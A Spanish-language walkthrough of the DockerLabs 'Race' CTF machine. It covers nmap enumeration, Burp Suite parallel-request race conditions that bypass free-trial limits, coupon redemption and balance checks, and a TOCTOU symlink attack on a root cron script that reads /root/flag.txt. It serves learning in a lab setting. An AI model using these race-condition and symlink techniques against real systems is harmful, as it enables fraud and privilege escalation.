Race
| Plataforma | DockerLabs |
|---|---|
| Dificultad | 🟡 Medio |
| Sistema operativo | 🐧 Linux |
| Estado | Terminada |
| Técnicas | #web#ssh |
| Extensión | 529 palabras · 3 min |
| Máquina original | https://dockerlabs.es/ |
Race
Plataforma: DockerLabs | Dificultad: Medio | IP:
172.17.0.2
📝 Resumen
Laboratorio para practicar la vulnerabilidad race condition en el contexto de webs donde haya limitaciones o free trial, donde podremos bypassear dichas restricciones. La máquina cuenta con 3 niveles.
🔍 Enumeración

Investigando el javascript veo una función curiosa que si la modificaramos podríamos resolver el lab. Puesto que el laboratorio va acerca de un race condition, entendemos que modificar el javascript en el lado del cliente no tiene sentido.
Escaneo de Puertos (Nmap)
bash# Escaneo inicial nmap -sC -sV -p- --min-rate 5000 -oN nmap_race 172.17.0.2
bash1Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-15 14:32 +0200 2Nmap scan report for 172.17.0.2 3Host is up (0.000060s latency). 4Not shown: 998 closed tcp ports (reset) 5PORT STATE SERVICE VERSION 622/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0) 75000/tcp open http Werkzeug httpd 3.1.4 (Python 3.13.5) 8|_http-title: SaaS Dashboard - Free Tier 9|_http-server-header: Werkzeug/3.1.4 Python/3.13.5 10MAC Address: 26:4E:AD:7B:57:A5 (Unknown) 11Device type: general purpose 12Running: Linux 4.X|5.X 13OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 14OS details: Linux 4.15 - 5.19 15Network Distance: 1 hop 16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Un linux con un servicio web y otro ssh
Nivel 1
Análisis con Burp Suite
Interceptamos la petición click
http1HTTP/1.1 200 OK 2Server: Werkzeug/3.1.4 Python/3.13.5 3Date: Mon, 15 Jun 2026 16:26:42 GMT 4Content-Type: application/json 5Content-Length: 82 6Connection: close 7 8{ 9 "message": "\u2705 Acci\u00f3n completada con \u00e9xito", 10 "status": "ok" 11} 12
Probablemente la que haya que explotar.
💥 Explotación
En la petición interceptada con Burp le damos a Send to the repeater varias veces, con darle más de 3 que es el límite del free trial es suficiente.

Nos vamos al repeater de Burp y en las pestañas que nos aparece (1, 2, 3, 4... dependiendo de cuantas veces hayamos mandado la petición al repeater) damos click derecho y create new group y elegimos todas (select all).
Se nos debe quedar algo así:

Pulsamos en Send group in parallel y enviamos

Nivel 2

Análisis con Burp Suite
Interceptamos la petición buy. Si conseguimos bypassearla habremos pasado al nivel 3.
http1HTTP/1.1 400 BAD REQUEST 2Server: Werkzeug/3.1.4 Python/3.13.5 3Date: Mon, 15 Jun 2026 16:35:46 GMT 4Content-Type: application/json 5Content-Length: 75 6Connection: close 7 8{ 9 "message": "Saldo insuficiente. Necesitas $50.", 10 "status": "error" 11} 12
Interceptamos la petición reedem, seguramente la que haya que explotar.
http1POST /level-2/redeem HTTP/1.1 2Host: 172.17.0.2:5000 3Content-Length: 19 4Authorization: Basic Y29uZGl0aW9uMTpyYWNlMQ== 5Accept-Language: en-US,en;q=0.9 6User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 7Content-Type: application/json 8Accept: */* 9Origin: http://172.17.0.2:5000 10Referer: http://172.17.0.2:5000/level-2 11Accept-Encoding: gzip, deflate, br 12Connection: keep-alive 13 14{"code":"TRIAL-10"} 15
La petición nos devuelve message": "Este cup\u00f3n ya ha sido usado" si lo hacemos más de una vez, y nos añade 10$ de saldo a la cuenta.
Hacemos lo mismo que antes pero la petición reedem y con 5 pestañas o más si o si.

Con 6 pestañas me han dado 60$.

Nivel 3

En este caso tenemos un panel de compra de criptomonedas.
Análisis con Burp Suite
Interceptamos la petición buy. Seguramente haya que bypassearla.
http1POST /level-3/buy HTTP/1.1 2Host: 172.17.0.2:5000 3Content-Length: 12 4Authorization: Basic cmFjZTpjb25kaXRpb24= 5Accept-Language: en-US,en;q=0.9 6User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 7Content-Type: application/json 8Accept: */* 9Origin: http://172.17.0.2:5000 10Referer: http://172.17.0.2:5000/level-3 11Accept-Encoding: gzip, deflate, br 12Connection: keep-alive 13 14{"amount":1} 15
Nos da la siguiente response si compramos de más:
http1HTTP/1.1 400 BAD REQUEST 2Server: Werkzeug/3.1.4 Python/3.13.5 3Date: Mon, 15 Jun 2026 16:46:54 GMT 4Content-Type: application/json 5Content-Length: 84 6Connection: close 7 8{ 9 "message": "Saldo insuficiente. Necesitas 1000.00 USDT.", 10 "status": "error" 11} 12
Básicamente haciendo lo mismo que en los otros niveles obtenemos:

Nivel SSH - Race Condition Windows
Entramos por ssh y haciendo un ls tenemos lo siguiente:
bash1racebtc@27ed90d41a66:~$ ls 2README.txt backup_me privesc_exploit.sh 3 4racebtc@27ed90d41a66:~$ cat README.txt 5╔════════════════════════════════════════════════════════╗ 6║ BIENVENIDO AL RETO FINAL ║ 7║ Escalada de Privilegios ║ 8╚════════════════════════════════════════════════════════╝ 9 10OBJETIVO: Obtener acceso a /root/flag.txt 11 12PISTAS: 131. Hay un script ejecutándose automáticamente como root 142. El script procesa archivos en: ~/backup_me/ 153. Los resultados se guardan en: /tmp/backup_output.txt 164. El script espera 3 segundos antes de leer cada archivo (¡ventana de ataque!) 17 18COMANDOS ÚTILES: 19- Ver el script: cat /usr/local/bin/backup_script.sh 20- Ver el log: cat /tmp/backup_output.txt 21- Ver procesos: ps aux | grep backup 22 23EXPLOIT INCLUIDO: 24./privesc_exploit.sh (¡Solo ejecútalo!) 25 26¡Buena suerte! 🚀
El readme nos da una pista de que es una escalada de privilegios mediante un cron.
💥 Explotación
Investigando por internet, obtengo que estamos ante una vulnerabilidad TOCTOU (o Time-of-Check to Time-of-Use, por sus siglas en inglés).
Miramos el script cat /usr/local/bin/backup_script.sh y vemos que hay 3 segundos en los que hay una pausa.
Si creamos un enlace simbólico podríamos obtener acceso a leer archivos privilegiados como /etc/passwd o en este caso nuestra flag /root/flag.txt
El script primero comprueba que sea un fichero y no es un enlace simbólico, luego hay una pausa de 3 segundos, y luego lee el archivo SIN COMPROBAR SI ES UN ENLACE.
La sintaxis básica es:
bashln -s /ruta/del/archivo_original /ruta/del/enlace_simbolico
Lo ajustamos a nuestro problema:
- Creamos un archivo flag.txt vacio
bashecho > flag.txt
- Antes de que pasen los 3 segundos ejecutamos lo siguiente:
bashln -s /root/flag.txt /home/racebtc/backup_me/flag.txt
Obtenemos:
bash[17:15:38] Archivo encontrado: /home/racebtc/backup_me/flag.txt [17:15:38] Esperando 3 segundos antes de procesar... [17:15:41] Leyendo contenido del archivo... FLAG{root_password:RaceCondition2024!}
Conclusión
Ha sido una máquina bastante interesante, en el que explota varios escenarios reales tanto de web como en sistemas operativos. Pues en sistemas operativos es cierto que suele explotarse en cuestión de milisegundos y no hay tanto tiempo de margen como en este caso (que eran 3 segundos). Sin embargo creo que es una máquina muy útil e interesante para iniciarse en esta vulnerabilidad.
